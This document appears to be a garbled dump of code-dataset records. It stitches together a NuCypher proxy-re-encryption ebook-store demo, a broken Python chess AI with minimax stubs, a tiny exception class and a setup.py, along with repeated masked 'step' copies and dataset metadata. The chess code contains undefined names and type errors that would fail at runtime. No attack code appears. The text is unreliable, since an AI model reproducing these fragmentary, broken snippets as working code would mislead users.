shutil\nimport maya\nimport datetime\n\nteacher_rest_port = 3501\nm = 2\nn = 3\nwith open(\"examples-runtime-cruft/node-metadata-{}\".format(teacher_rest_port), \"r\") as f:\n f.seek(0)\n teacher_bytes = binascii.unhexlify(f.read())\nURSULA = Ursula.from_bytes(teacher_bytes, federated_only=True)\nprint(\"Will learn from {}\".format(URSULA))\nSHARED_CRUFTSPACE = \"{}/examples-runtime-cruft\".format(os.path.dirname(os.path.abspath(__file__)))\nCRUFTSPACE = \"{}/drm\".format(SHARED_CRUFTSPACE)\nCERTIFICATE_DIR = \"{}/certs\".format(CRUFTSPACE)\nshutil.rmtree(CRUFTSPACE, ignore_errors=True)\nos.mkdir(CRUFTSPACE)\nos.mkdir(CERTIFICATE_DIR)\nURSULA.save_certificate_to_disk(CERTIFICATE_DIR)\n\nclass ETHAccount(object):\n def send_eth_to(self, to, amount):\n return(to.fallback(self, amount))\n\nclass Author(object):\n \"\"\"\n The author of the book\n \"\"\"\n balance = 0\n def __init__(self, eth_pk_bytes, character):\n self.account = Account.create(eth_pk_bytes)\n self.character = character\n\n\nclass Book(object):\n def __init__(self, author):\n self.author = author\n self.content = b\"PlainText of the book\"\n self.label = b\"book\"\n\n\nclass BookStoreEthContract(object):\n \"\"\"\n The contract receiving the rewards and selling the books\n \"\"\"\n def __init__(self, book, author, price, purchase_event_hook):\n self.book = book\n self.rewardee = author\n self.price = price\n self.purchase_event_hook = purchase_event_hook\n\n def fallback(self, sender, amount):\n print(\"Received %s ETH from %s\" % (amount, sender.account.address))\n if amount == self.price:\n sender.balance -= amount\n self.rewardee.balance += amount\n return(self.purchase_event_hook(sender))\n\nclass BookStoreDelivery(object):\n def __init__(self, book):\n self.book = book\n self.author = book.author\n\n def deliver_purchase(self, to):\n policy_end_datetime = maya.now() + datetime.timedelta(days=5)\n policy = author.character.grant(first_buyer.character, self.book.label, m=m, n=n,\n expiration=policy_end_datetime)\n author_pubkey = bytes(self.author.character.stamp)\n data_source = DataSource(policy_pubkey_enc=policy.public_key)\n message_kit, _signature = data_source.encapsulate_single_message(self.book.content)\n data_source_public_key = bytes(data_source.stamp)\n return (author_pubkey, policy.public_key, data_source_public_key, self.book.label, message_kit)\n\n\n\n\nclass Buyer(ETHAccount):\n \"\"\"\n The person who pays for the book and receives content\n \"\"\"\n balance = 100\n def __init__(self, eth_pk_bytes, character):\n self.account = Account.create(eth_pk_bytes)\n self.character = character\n\n\nauthor = Author(b\"Author's ETH account\", Alice(network_middleware=RestMiddleware(),\n known_nodes=(URSULA,),\n federated_only=True,\n known_certificates_dir=CERTIFICATE_DIR,))\nauthor.character.start_learning_loop(now=True)\n\nbook = Book(author)\nfirst_buyer = Buyer(b\"First Buyer's ETH account\", Bob(known_nodes=(URSULA,),\n federated_only=True,\n known_certificates_dir=CERTIFICATE_DIR))\nbook_store_delivery = BookStoreDelivery(book)\nbook_store_contract = BookStoreEthContract(book, author, 10, book_store_delivery.deliver_purchase)\nauthor_public_key, policy_public_key, data_source_public_key, label, kit = first_buyer.send_eth_to(book_store_contract, 10)\nfirst_buyer.character.join_policy(label, # The label - he needs to know what data he's after.\n bytes(author.character.stamp), # To verify the signature, he'll need Alice's public key.\n # He can also bootstrap himself onto the network more quickly\n # by providing a list of known nodes at this time.\n node_list=[(\"localhost\", 3601)]\n )\ndatasource_as_understood_by_bob = DataSource.from_public_keys(\n policy_public_key=policy_public_key,\n datasource_public_key=data_source_public_key,\n label=label\n )\nalice_pubkey_restored_from_ancient_scroll = UmbralPublicKey.from_bytes(author_public_key)\ndelivered_cleartexts = first_buyer.character.retrieve(message_kit=kit,\n data_source=datasource_as_understood_by_bob,\n alice_verifying_key=alice_pubkey_restored_from_ancient_scroll)\nprint(delivered_cleartexts)\n\n\n", "step-ids": [ 14, 19, 20, 22, 23 ] }
[ 14, 19, 20, 22, 23 ]
""" TODO Chess A.I. """ import os, pygame, board, math, engine, sys, gSmart from pygame.locals import * import engine, board, piece, copy class gSmart: def __init__(self): self.e = engine.engine() self.mtrlW = .75 self.dvlpW = 2 self.aggnW = 2 self.defnW = .5 self.thrndW = 2 self.epW = 10 self.chkW = 50 self.chkmtW = 1000 def getNextMove(self, b, n): gt = gameTree(b, n) #create a gameTree of n ply return gt.miniMax() #use miniMax algo to return the best move def getAllNextMoves(self, b): pcs = b.getPieces(b.turn) nextMoves = [] for p in pcs: for x in range(8): for y in range(8): futureB = copy.deepcopy(b) success = futureB.movePiece(self.e, p.sqr, [x,y]) if success == True: m = [p.sqr, [x,y]] nextMoves.append([futureB, m]) # print(nextMoves) return nextMoves def evaluatePosition(self, b): mtrl = b.getMaterialSums() dvlp = self.e.getDevelopment(b) agg = self.e.getAggression(b) defn = self.e.getDefense(b) thrnd = self.e.getThreatened(b) ep = self.e.getEnPrise(b) chk = self.e.getCheck(b) chkmt = self.e.getCheckmate(b) #print("Unweighted") #print("Material: \t" + str(mtrl)) #print("Development: \t" + str(dvlp)) #print("Aggression: \t" + str(agg)) #print("Defense: \t" + str(defn)) #print("Threatened:\t" + str(thrnd)) #print("En Prise: \t" + str(ep)) #print("Check: \t" + str(chk)) #print("Checkmate: \t" + str(chkmt)) #print("") metrics = [mtrl, dvlp, agg, defn, thrnd, ep, chk, chkmt] weights = [self.mtrlW, self.dvlpW, self.aggnW, self.defnW, self.thrndW, self.epW, self.chkW, self.chkmtW] position = [0,0] for x in range(len(metrics)): for y in range(2): position[y]+=metrics[x][y] # print("Position: " + str(position)) weightedMetrics = [ [weights[x]*metrics[x][0], weights[x]*metrics[x][1]] for x in range(len(weights))] #print("Unweighted") #print("Material: \t" + str(weightedMetrics[0])) #print("Development: \t" + str(weightedMetrics[1])) #print("Aggression: \t" + str(weightedMetrics[2])) #print("Defense: \t" + str(weightedMetrics[3])) #print("Threatened:\t" + str(weightedMetrics[4])) #print("En Prise: \t" + str(weightedMetrics[5])) #print("Check: \t" + str(weightedMetrics[6])) #print("Checkmate: \t" + str(weightedMetrics[7])) #print("") weightedPosition = [0,0] for x in range(len(metrics)): for y in range(2): weightedPosition[y]+=weightedMetrics[x][y] # print("Weighted Position: " + str(weightedPosition)) #print("Weighted Posistion: " + str(weightedPosition)) totalWeight = -1*weightedPosition[0] + weightedPosition[1] print("total weight: " + totalWeight) return totalWeight class gameTree(): def __init__(self, b, n): #builds a game tree of "n" ply from board "b" self.t = gSmart.gameTree.tree(b) #create a tree cur = self.t.getRoot() #grab the root self.addPly(cur, b, 3) #build out "h" ply def addPly(self, curNode, b, ply): if ply == 0: #basecase return else: moves = getAllNextMoves(curNode.board) #get moves for board in current node for move in moves: temp = gameTree.tree.node(b,move,mm) #make a new node for each move curNode.addChild(temp) #add the new node as a child to curNode self.addPly(temp, b, ply-1) #recursively call addPly on the child, with one less ply def getMinOrMax(self, b): if b.getTurn == "w": return "max" else: return "min" def minimax(self): return None class tree: def __init__(self, b = None, m= None): self.root = gSmart.gameTree.tree.node(b, m) def getRoot(self): return self.root def addNode(self, parent, child): parent.addChild(child) def DFS(self, start): print(str(start)) children = start.getChildren() if(len(children) == 0): return else: for child in children: self.DFS(child) class node: def __init__(self, b = None, m = None): self.children = [] self.board = b self.move = m self.value = None def addChild(self, newChild): self.children.append(newChild) def getChildren(self): return self.children def getData(self): return self.data def setValue(self, v): if v == None: self.value = self.getBoardValue() else: self.value = v def getValue(self): return self.value def getBoardValue(self): return self.gSmart.evaluatePosition() def isMaxNode(self): return self.board.isTurn() == "w" bd = board.Board() bd.setupDefault() gt = gSmart.gameTree(bd, 3) t.DFS(gt.getRoot())
normal
{ "blob_id": "7998c4e0ed2bb683f029342554730464f8ac2a09", "index": 2366, "step-1": "<mask token>\n\n\nclass gSmart:\n <mask token>\n\n def getNextMove(self, b, n):\n gt = gameTree(b, n)\n return gt.miniMax()\n\n def getAllNextMoves(self, b):\n pcs = b.getPieces(b.turn)\n nextMoves = []\n for p in pcs:\n for x in range(8):\n for y in range(8):\n futureB = copy.deepcopy(b)\n success = futureB.movePiece(self.e, p.sqr, [x, y])\n if success == True:\n m = [p.sqr, [x, y]]\n nextMoves.append([futureB, m])\n return nextMoves\n\n def evaluatePosition(self, b):\n mtrl = b.getMaterialSums()\n dvlp = self.e.getDevelopment(b)\n agg = self.e.getAggression(b)\n defn = self.e.getDefense(b)\n thrnd = self.e.getThreatened(b)\n ep = self.e.getEnPrise(b)\n chk = self.e.getCheck(b)\n chkmt = self.e.getCheckmate(b)\n metrics = [mtrl, dvlp, agg, defn, thrnd, ep, chk, chkmt]\n weights = [self.mtrlW, self.dvlpW, self.aggnW, self.defnW, self.\n thrndW, self.epW, self.chkW, self.chkmtW]\n position = [0, 0]\n for x in range(len(metrics)):\n for y in range(2):\n position[y] += metrics[x][y]\n weightedMetrics = [[weights[x] * metrics[x][0], weights[x] *\n metrics[x][1]] for x in range(len(weights))]\n weightedPosition = [0, 0]\n for x in range(len(metrics)):\n for y in range(2):\n weightedPosition[y] += weightedMetrics[x][y]\n totalWeight = -1 * weightedPosition[0] + weightedPosition[1]\n print('total weight: ' + totalWeight)\n return totalWeight\n\n\n class gameTree:\n\n def __init__(self, b, n):\n self.t = gSmart.gameTree.tree(b)\n cur = self.t.getRoot()\n self.addPly(cur, b, 3)\n\n def addPly(self, curNode, b, ply):\n if ply == 0:\n return\n else:\n moves = getAllNextMoves(curNode.board)\n for move in moves:\n temp = gameTree.tree.node(b, move, mm)\n curNode.addChild(temp)\n self.addPly(temp, b, ply - 1)\n\n def getMinOrMax(self, b):\n if b.getTurn == 'w':\n return 'max'\n else:\n return 'min'\n\n def minimax(self):\n return None\n\n\n class tree:\n\n def __init__(self, b=None, m=None):\n self.root = gSmart.gameTree.tree.node(b, m)\n\n def getRoot(self):\n return self.root\n\n def addNode(self, parent, child):\n parent.addChild(child)\n\n def DFS(self, start):\n print(str(start))\n children = start.getChildren()\n if len(children) == 0:\n return\n else:\n for child in children:\n self.DFS(child)\n\n\n class node:\n\n def __init__(self, b=None, m=None):\n self.children = []\n self.board = b\n self.move = m\n self.value = None\n\n def addChild(self, newChild):\n self.children.append(newChild)\n\n def getChildren(self):\n return self.children\n\n def getData(self):\n return self.data\n\n def setValue(self, v):\n if v == None:\n self.value = self.getBoardValue()\n else:\n self.value = v\n\n def getValue(self):\n return self.value\n\n def getBoardValue(self):\n return self.gSmart.evaluatePosition()\n\n def isMaxNode(self):\n return self.board.isTurn() == 'w'\n\n\n<mask token>\n", "step-2": "<mask token>\n\n\nclass gSmart:\n\n def __init__(self):\n self.e = engine.engine()\n self.mtrlW = 0.75\n self.dvlpW = 2\n self.aggnW = 2\n self.defnW = 0.5\n self.thrndW = 2\n self.epW = 10\n self.chkW = 50\n self.chkmtW = 1000\n\n def getNextMove(self, b, n):\n gt = gameTree(b, n)\n return gt.miniMax()\n\n def getAllNextMoves(self, b):\n pcs = b.getPieces(b.turn)\n nextMoves = []\n for p in pcs:\n for x in range(8):\n for y in range(8):\n futureB = copy.deepcopy(b)\n success = futureB.movePiece(self.e, p.sqr, [x, y])\n if success == True:\n m = [p.sqr, [x, y]]\n nextMoves.append([futureB, m])\n return nextMoves\n\n def evaluatePosition(self, b):\n mtrl = b.getMaterialSums()\n dvlp = self.e.getDevelopment(b)\n agg = self.e.getAggression(b)\n defn = self.e.getDefense(b)\n thrnd = self.e.getThreatened(b)\n ep = self.e.getEnPrise(b)\n chk = self.e.getCheck(b)\n chkmt = self.e.getCheckmate(b)\n metrics = [mtrl, dvlp, agg, defn, thrnd, ep, chk, chkmt]\n weights = [self.mtrlW, self.dvlpW, self.aggnW, self.defnW, self.\n thrndW, self.epW, self.chkW, self.chkmtW]\n position = [0, 0]\n for x in range(len(metrics)):\n for y in range(2):\n position[y] += metrics[x][y]\n weightedMetrics = [[weights[x] * metrics[x][0], weights[x] *\n metrics[x][1]] for x in range(len(weights))]\n weightedPosition = [0, 0]\n for x in range(len(metrics)):\n for y in range(2):\n weightedPosition[y] += weightedMetrics[x][y]\n totalWeight = -1 * weightedPosition[0] + weightedPosition[1]\n print('total weight: ' + totalWeight)\n return totalWeight\n\n\n class gameTree:\n\n def __init__(self, b, n):\n self.t = gSmart.gameTree.tree(b)\n cur = self.t.getRoot()\n self.addPly(cur, b, 3)\n\n def addPly(self, curNode, b, ply):\n if ply == 0:\n return\n else:\n moves = getAllNextMoves(curNode.board)\n for move in moves:\n temp = gameTree.tree.node(b, move, mm)\n curNode.addChild(temp)\n self.addPly(temp, b, ply - 1)\n\n def getMinOrMax(self, b):\n if b.getTurn == 'w':\n return 'max'\n else:\n return 'min'\n\n def minimax(self):\n return None\n\n\n class tree:\n\n def __init__(self, b=None, m=None):\n self.root = gSmart.gameTree.tree.node(b, m)\n\n def getRoot(self):\n return self.root\n\n def addNode(self, parent, child):\n parent.addChild(child)\n\n def DFS(self, start):\n print(str(start))\n children = start.getChildren()\n if len(children) == 0:\n return\n else:\n for child in children:\n self.DFS(child)\n\n\n class node:\n\n def __init__(self, b=None, m=None):\n self.children = []\n self.board = b\n self.move = m\n self.value = None\n\n def addChild(self, newChild):\n self.children.append(newChild)\n\n def getChildren(self):\n return self.children\n\n def getData(self):\n return self.data\n\n def setValue(self, v):\n if v == None:\n self.value = self.getBoardValue()\n else:\n self.value = v\n\n def getValue(self):\n return self.value\n\n def getBoardValue(self):\n return self.gSmart.evaluatePosition()\n\n def isMaxNode(self):\n return self.board.isTurn() == 'w'\n\n\n<mask token>\nbd.setupDefault()\n<mask token>\nt.DFS(gt.getRoot())\n", "step-3": "<mask token>\n\n\nclass gSmart:\n\n def __init__(self):\n self.e = engine.engine()\n self.mtrlW = 0.75\n self.dvlpW = 2\n self.aggnW = 2\n self.defnW = 0.5\n self.thrndW = 2\n self.epW = 10\n self.chkW = 50\n self.chkmtW = 1000\n\n def getNextMove(self, b, n):\n gt = gameTree(b, n)\n return gt.miniMax()\n\n def getAllNextMoves(self, b):\n pcs = b.getPieces(b.turn)\n nextMoves = []\n for p in pcs:\n for x in range(8):\n for y in range(8):\n futureB = copy.deepcopy(b)\n success = futureB.movePiece(self.e, p.sqr, [x, y])\n if success == True:\n m = [p.sqr, [x, y]]\n nextMoves.append([futureB, m])\n return nextMoves\n\n def evaluatePosition(self, b):\n mtrl = b.getMaterialSums()\n dvlp = self.e.getDevelopment(b)\n agg = self.e.getAggression(b)\n defn = self.e.getDefense(b)\n thrnd = self.e.getThreatened(b)\n ep = self.e.getEnPrise(b)\n chk = self.e.getCheck(b)\n chkmt = self.e.getCheckmate(b)\n metrics = [mtrl, dvlp, agg, defn, thrnd, ep, chk, chkmt]\n weights = [self.mtrlW, self.dvlpW, self.aggnW, self.defnW, self.\n thrndW, self.epW, self.chkW, self.chkmtW]\n position = [0, 0]\n for x in range(len(metrics)):\n for y in range(2):\n position[y] += metrics[x][y]\n weightedMetrics = [[weights[x] * metrics[x][0], weights[x] *\n metrics[x][1]] for x in range(len(weights))]\n weightedPosition = [0, 0]\n for x in range(len(metrics)):\n for y in range(2):\n weightedPosition[y] += weightedMetrics[x][y]\n totalWeight = -1 * weightedPosition[0] + weightedPosition[1]\n print('total weight: ' + totalWeight)\n return totalWeight\n\n\n class gameTree:\n\n def __init__(self, b, n):\n self.t = gSmart.gameTree.tree(b)\n cur = self.t.getRoot()\n self.addPly(cur, b, 3)\n\n def addPly(self, curNode, b, ply):\n if ply == 0:\n return\n else:\n moves = getAllNextMoves(curNode.board)\n for move in moves:\n temp = gameTree.tree.node(b, move, mm)\n curNode.addChild(temp)\n self.addPly(temp, b, ply - 1)\n\n def getMinOrMax(self, b):\n if b.getTurn == 'w':\n return 'max'\n else:\n return 'min'\n\n def minimax(self):\n return None\n\n\n class tree:\n\n def __init__(self, b=None, m=None):\n self.root = gSmart.gameTree.tree.node(b, m)\n\n def getRoot(self):\n return self.root\n\n def addNode(self, parent, child):\n parent.addChild(child)\n\n def DFS(self, start):\n print(str(start))\n children = start.getChildren()\n if len(children) == 0:\n return\n else:\n for child in children:\n self.DFS(child)\n\n\n class node:\n\n def __init__(self, b=None, m=None):\n self.children = []\n self.board = b\n self.move = m\n self.value = None\n\n def addChild(self, newChild):\n self.children.append(newChild)\n\n def getChildren(self):\n return self.children\n\n def getData(self):\n return self.data\n\n def setValue(self, v):\n if v == None:\n self.value = self.getBoardValue()\n else:\n self.value = v\n\n def getValue(self):\n return self.value\n\n def getBoardValue(self):\n return self.gSmart.evaluatePosition()\n\n def isMaxNode(self):\n return self.board.isTurn() == 'w'\n\n\nbd = board.Board()\nbd.setupDefault()\ngt = gSmart.gameTree(bd, 3)\nt.DFS(gt.getRoot())\n", "step-4": "<mask token>\nimport os, pygame, board, math, engine, sys, gSmart\nfrom pygame.locals import *\nimport engine, board, piece, copy\n\n\nclass gSmart:\n\n def __init__(self):\n self.e = engine.engine()\n self.mtrlW = 0.75\n self.dvlpW = 2\n self.aggnW = 2\n self.defnW = 0.5\n self.thrndW = 2\n self.epW = 10\n self.chkW = 50\n self.chkmtW = 1000\n\n def getNextMove(self, b, n):\n gt = gameTree(b, n)\n return gt.miniMax()\n\n def getAllNextMoves(self, b):\n pcs = b.getPieces(b.turn)\n nextMoves = []\n for p in pcs:\n for x in range(8):\n for y in range(8):\n futureB = copy.deepcopy(b)\n success = futureB.movePiece(self.e, p.sqr, [x, y])\n if success == True:\n m = [p.sqr, [x, y]]\n nextMoves.append([futureB, m])\n return nextMoves\n\n def evaluatePosition(self, b):\n mtrl = b.getMaterialSums()\n dvlp = self.e.getDevelopment(b)\n agg = self.e.getAggression(b)\n defn = self.e.getDefense(b)\n thrnd = self.e.getThreatened(b)\n ep = self.e.getEnPrise(b)\n chk = self.e.getCheck(b)\n chkmt = self.e.getCheckmate(b)\n metrics = [mtrl, dvlp, agg, defn, thrnd, ep, chk, chkmt]\n weights = [self.mtrlW, self.dvlpW, self.aggnW, self.defnW, self.\n thrndW, self.epW, self.chkW, self.chkmtW]\n position = [0, 0]\n for x in range(len(metrics)):\n for y in range(2):\n position[y] += metrics[x][y]\n weightedMetrics = [[weights[x] * metrics[x][0], weights[x] *\n metrics[x][1]] for x in range(len(weights))]\n weightedPosition = [0, 0]\n for x in range(len(metrics)):\n for y in range(2):\n weightedPosition[y] += weightedMetrics[x][y]\n totalWeight = -1 * weightedPosition[0] + weightedPosition[1]\n print('total weight: ' + totalWeight)\n return totalWeight\n\n\n class gameTree:\n\n def __init__(self, b, n):\n self.t = gSmart.gameTree.tree(b)\n cur = self.t.getRoot()\n self.addPly(cur, b, 3)\n\n def addPly(self, curNode, b, ply):\n if ply == 0:\n return\n else:\n moves = getAllNextMoves(curNode.board)\n for move in moves:\n temp = gameTree.tree.node(b, move, mm)\n curNode.addChild(temp)\n self.addPly(temp, b, ply - 1)\n\n def getMinOrMax(self, b):\n if b.getTurn == 'w':\n return 'max'\n else:\n return 'min'\n\n def minimax(self):\n return None\n\n\n class tree:\n\n def __init__(self, b=None, m=None):\n self.root = gSmart.gameTree.tree.node(b, m)\n\n def getRoot(self):\n return self.root\n\n def addNode(self, parent, child):\n parent.addChild(child)\n\n def DFS(self, start):\n print(str(start))\n children = start.getChildren()\n if len(children) == 0:\n return\n else:\n for child in children:\n self.DFS(child)\n\n\n class node:\n\n def __init__(self, b=None, m=None):\n self.children = []\n self.board = b\n self.move = m\n self.value = None\n\n def addChild(self, newChild):\n self.children.append(newChild)\n\n def getChildren(self):\n return self.children\n\n def getData(self):\n return self.data\n\n def setValue(self, v):\n if v == None:\n self.value = self.getBoardValue()\n else:\n self.value = v\n\n def getValue(self):\n return self.value\n\n def getBoardValue(self):\n return self.gSmart.evaluatePosition()\n\n def isMaxNode(self):\n return self.board.isTurn() == 'w'\n\n\nbd = board.Board()\nbd.setupDefault()\ngt = gSmart.gameTree(bd, 3)\nt.DFS(gt.getRoot())\n", "step-5": "\"\"\" \r\nTODO\r\n\r\nChess A.I.\r\n\r\n\"\"\"\r\nimport os, pygame, board, math, engine, sys, gSmart\r\nfrom pygame.locals import *\r\n\r\nimport engine, board, piece, copy\r\n\r\nclass gSmart:\r\n\r\n\tdef __init__(self):\r\n\t\tself.e = engine.engine()\r\n\t\tself.mtrlW = .75\r\n\t\tself.dvlpW = 2\r\n\t\tself.aggnW = 2\r\n\t\tself.defnW = .5\r\n\t\tself.thrndW = 2\r\n\t\tself.epW = 10\r\n\t\tself.chkW = 50\r\n\t\tself.chkmtW = 1000\r\n\r\n\tdef getNextMove(self, b, n):\r\n\t\tgt = gameTree(b, n)\t\t#create a gameTree of n ply\r\n\t\treturn gt.miniMax()\t\t#use miniMax algo to return the best move\r\n\r\n\tdef getAllNextMoves(self, b):\r\n\t\tpcs = b.getPieces(b.turn)\r\n\t\tnextMoves = []\r\n\t\tfor p in pcs:\r\n\t\t\tfor x in range(8):\r\n\t\t\t\tfor y in range(8):\r\n\t\t\t\t\tfutureB = copy.deepcopy(b)\r\n\t\t\t\t\tsuccess = futureB.movePiece(self.e, p.sqr, [x,y])\r\n\t\t\t\t\tif success == True:\r\n\t\t\t\t\t\tm = [p.sqr, [x,y]]\r\n\t\t\t\t\t\tnextMoves.append([futureB, m])\r\n\t\t# print(nextMoves)\r\n\t\treturn nextMoves\r\n\r\n\tdef evaluatePosition(self, b):\r\n\r\n\t\tmtrl = b.getMaterialSums()\r\n\t\tdvlp = self.e.getDevelopment(b)\r\n\t\tagg = self.e.getAggression(b)\r\n\t\tdefn = self.e.getDefense(b)\r\n\t\tthrnd = self.e.getThreatened(b)\r\n\t\tep = self.e.getEnPrise(b)\r\n\t\tchk = self.e.getCheck(b)\r\n\t\tchkmt = self.e.getCheckmate(b)\r\n\t\t\r\n\t\t#print(\"Unweighted\")\r\n\t\t#print(\"Material: \\t\" + str(mtrl))\r\n\t\t#print(\"Development: \\t\" + str(dvlp))\r\n\t\t#print(\"Aggression: \\t\" + str(agg))\r\n\t\t#print(\"Defense: \\t\" + str(defn))\r\n\t\t#print(\"Threatened:\\t\" + str(thrnd))\r\n\t\t#print(\"En Prise: \\t\" + str(ep))\r\n\t\t#print(\"Check: \\t\" + str(chk))\r\n\t\t#print(\"Checkmate: \\t\" + str(chkmt))\r\n\t\t#print(\"\")\r\n\r\n\t\tmetrics = [mtrl, dvlp, agg, defn, thrnd, ep, chk, chkmt]\r\n\t\tweights = [self.mtrlW, self.dvlpW, self.aggnW, self.defnW, self.thrndW, self.epW, self.chkW, self.chkmtW]\r\n\t\t\r\n\t\tposition = [0,0]\r\n\t\tfor x in range(len(metrics)):\r\n\t\t\tfor y in range(2):\r\n\t\t\t\tposition[y]+=metrics[x][y]\r\n\t\t# print(\"Position: \" + str(position))\r\n\r\n\t\tweightedMetrics = [ [weights[x]*metrics[x][0], weights[x]*metrics[x][1]] for x in range(len(weights))]\r\n\t\t\r\n\t\t#print(\"Unweighted\")\r\n\t\t#print(\"Material: \\t\" + str(weightedMetrics[0]))\r\n\t\t#print(\"Development: \\t\" + str(weightedMetrics[1]))\r\n\t\t#print(\"Aggression: \\t\" + str(weightedMetrics[2]))\r\n\t\t#print(\"Defense: \\t\" + str(weightedMetrics[3]))\r\n\t\t#print(\"Threatened:\\t\" + str(weightedMetrics[4]))\r\n\t\t#print(\"En Prise: \\t\" + str(weightedMetrics[5]))\r\n\t\t#print(\"Check: \\t\" + str(weightedMetrics[6]))\r\n\t\t#print(\"Checkmate: \\t\" + str(weightedMetrics[7]))\r\n\t\t#print(\"\")\r\n\t\t\r\n\t\tweightedPosition = [0,0]\r\n\t\tfor x in range(len(metrics)):\r\n\t\t\tfor y in range(2):\r\n\t\t\t\tweightedPosition[y]+=weightedMetrics[x][y]\r\n\t\t# print(\"Weighted Position: \" + str(weightedPosition))\r\n\r\n\t\t#print(\"Weighted Posistion: \" + str(weightedPosition))\r\n\t\t\r\n\t\ttotalWeight = -1*weightedPosition[0] + weightedPosition[1]\r\n\t\tprint(\"total weight: \" + totalWeight)\r\n\t\t\r\n\t\treturn totalWeight\r\n\r\n\tclass gameTree():\r\n\r\n\t\tdef __init__(self, b, n):\t\t\t\t#builds a game tree of \"n\" ply from board \"b\"\r\n\t\t\tself.t = gSmart.gameTree.tree(b)\t#create a tree\r\n\t\t\tcur = self.t.getRoot()\t\t\t\t#grab the root\r\n\t\t\tself.addPly(cur, b, 3)\t\t\t\t#build out \"h\" ply\r\n\r\n\t\tdef addPly(self, curNode, b, ply):\r\n\t\t\tif ply == 0:\t\t\t#basecase\r\n\t\t\t\treturn\r\n\t\t\telse:\r\n\t\t\t\tmoves = getAllNextMoves(curNode.board)\t#get moves for board in current node\r\n\t\t\t\tfor move in moves:\t\t\t\t\t\t\r\n\t\t\t\t\ttemp = gameTree.tree.node(b,move,mm)\t\t#make a new node for each move\r\n\t\t\t\t\tcurNode.addChild(temp)\t\t\t\t\t\t#add the new node as a child to curNode\r\n\t\t\t\t\tself.addPly(temp, b, ply-1)\t\t\t\t\t#recursively call addPly on the child, with one less ply\r\n\t\t\r\n\t\tdef getMinOrMax(self, b):\r\n\t\t\tif b.getTurn == \"w\":\r\n\t\t\t\treturn \"max\"\r\n\t\t\telse:\r\n\t\t\t\treturn \"min\"\r\n\t\t\t\t\r\n\t\tdef minimax(self):\r\n\t\t\treturn None\r\n\r\n\t\tclass tree:\r\n\t\t\r\n\t\t\tdef __init__(self, b = None, m= None):\r\n\t\t\t\tself.root = gSmart.gameTree.tree.node(b, m)\r\n\t\t\r\n\t\t\tdef getRoot(self):\r\n\t\t\t\treturn self.root\r\n\t\t\t\t\r\n\t\t\tdef addNode(self, parent, child):\r\n\t\t\t\tparent.addChild(child)\r\n\t\t\r\n\t\t\tdef DFS(self, start):\r\n\t\t\t\tprint(str(start))\r\n\t\t\t\tchildren = start.getChildren()\r\n\t\t\t\tif(len(children) == 0):\r\n\t\t\t\t\treturn\r\n\t\t\t\telse:\r\n\t\t\t\t\tfor child in children:\r\n\t\t\t\t\t\tself.DFS(child)\r\n\t\t\t\t\r\n\t\t\tclass node:\r\n\t\t\t\r\n\t\t\t\tdef __init__(self, b = None, m = None):\r\n\t\t\t\t\tself.children = []\r\n\t\t\t\t\tself.board = b\r\n\t\t\t\t\tself.move = m\r\n\t\t\t\t\tself.value = None\r\n\t\t\t\t\r\n\t\t\t\tdef addChild(self, newChild):\r\n\t\t\t\t\tself.children.append(newChild)\r\n\t\t\t\t\r\n\t\t\t\tdef getChildren(self):\r\n\t\t\t\t\treturn self.children\r\n\t\t\t\t\t\r\n\t\t\t\tdef getData(self):\r\n\t\t\t\t\treturn self.data\r\n\t\t\t\t\t\r\n\t\t\t\tdef setValue(self, v):\r\n\t\t\t\t\tif v == None:\r\n\t\t\t\t\t\tself.value = self.getBoardValue()\r\n\t\t\t\t\telse:\r\n\t\t\t\t\t\tself.value = v\r\n\t\t\t\t\t\r\n\t\t\t\tdef getValue(self):\r\n\t\t\t\t\t\treturn self.value\r\n\t\t\t\t\t\t\r\n\t\t\t\tdef getBoardValue(self):\r\n\t\t\t\t\treturn self.gSmart.evaluatePosition()\r\n\t\t\t\t\r\n\t\t\t\tdef isMaxNode(self):\r\n\t\t\t\t\treturn self.board.isTurn() == \"w\"\r\n\r\nbd = board.Board()\r\nbd.setupDefault()\r\ngt = gSmart.gameTree(bd, 3)\r\nt.DFS(gt.getRoot())", "step-ids": [ 4, 6, 7, 8, 9 ] }
[ 4, 6, 7, 8, 9 ]
from .VimaptException import VimaptException class VimaptAbortOperationException(VimaptException): pass
normal
{ "blob_id": "f52bac3e658a34b82721746364fab11d25d470c4", "index": 5302, "step-1": "<mask token>\n", "step-2": "<mask token>\n\n\nclass VimaptAbortOperationException(VimaptException):\n pass\n", "step-3": "from .VimaptException import VimaptException\n\n\nclass VimaptAbortOperationException(VimaptException):\n pass\n", "step-4": null, "step-5": null, "step-ids": [ 0, 1, 2 ] }
[ 0, 1, 2 ]
<|reserved_special_token_0|> <|reserved_special_token_1|> <|reserved_special_token_0|> setup(name='champ', version='0.0.1', description= 'Channel modeling in Python', url='https://github.com/sgherbst/champ', author='Steven Herbst', author_email='sherbst@stanford.edu', packages=[ 'champ'], include_package_data=True, zip_safe=False, install_requires=[ 'numpy', 'scipy', 'matplotlib', 'mpltools', 'scikit-rf']) <|reserved_special_token_1|> from setuptools import setup, find_packages setup(name='champ', version='0.0.1', description= 'Channel modeling in Python', url='https://github.com/sgherbst/champ', author='Steven Herbst', author_email='sherbst@stanford.edu', packages=[ 'champ'], include_package_data=True, zip_safe=False, install_requires=[ 'numpy', 'scipy', 'matplotlib', 'mpltools', 'scikit-rf']) <|reserved_special_token_1|> from setuptools import setup, find_packages setup( name="champ", version="0.0.1", description='Channel modeling in Python', url='https://github.com/sgherbst/champ', author='Steven Herbst', author_email='sherbst@stanford.edu', packages=['champ'], include_package_data=True, zip_safe=False, install_requires=[ 'numpy', 'scipy', 'matplotlib', 'mpltools', 'scikit-rf' ] )
flexible
{ "blob_id": "885fd32c9520dfdc2becd6b1a3d0c0f5f5397112", "index": 7449, "step-1": "<mask token>\n", "step-2": "<mask token>\nsetup(name='champ', version='0.0.1', description=\n 'Channel modeling in Python', url='https://github.com/sgherbst/champ',\n author='Steven Herbst', author_email='sherbst@stanford.edu', packages=[\n 'champ'], include_package_data=True, zip_safe=False, install_requires=[\n 'numpy', 'scipy', 'matplotlib', 'mpltools', 'scikit-rf'])\n", "step-3": "from setuptools import setup, find_packages\nsetup(name='champ', version='0.0.1', description=\n 'Channel modeling in Python', url='https://github.com/sgherbst/champ',\n author='Steven Herbst', author_email='sherbst@stanford.edu', packages=[\n 'champ'], include_package_data=True, zip_safe=False, install_requires=[\n 'numpy', 'scipy', 'matplotlib', 'mpltools', 'scikit-rf'])\n", "step-4": "from setuptools import setup, find_packages\n\nsetup(\n name=\"champ\",\n version=\"0.0.1\",\n 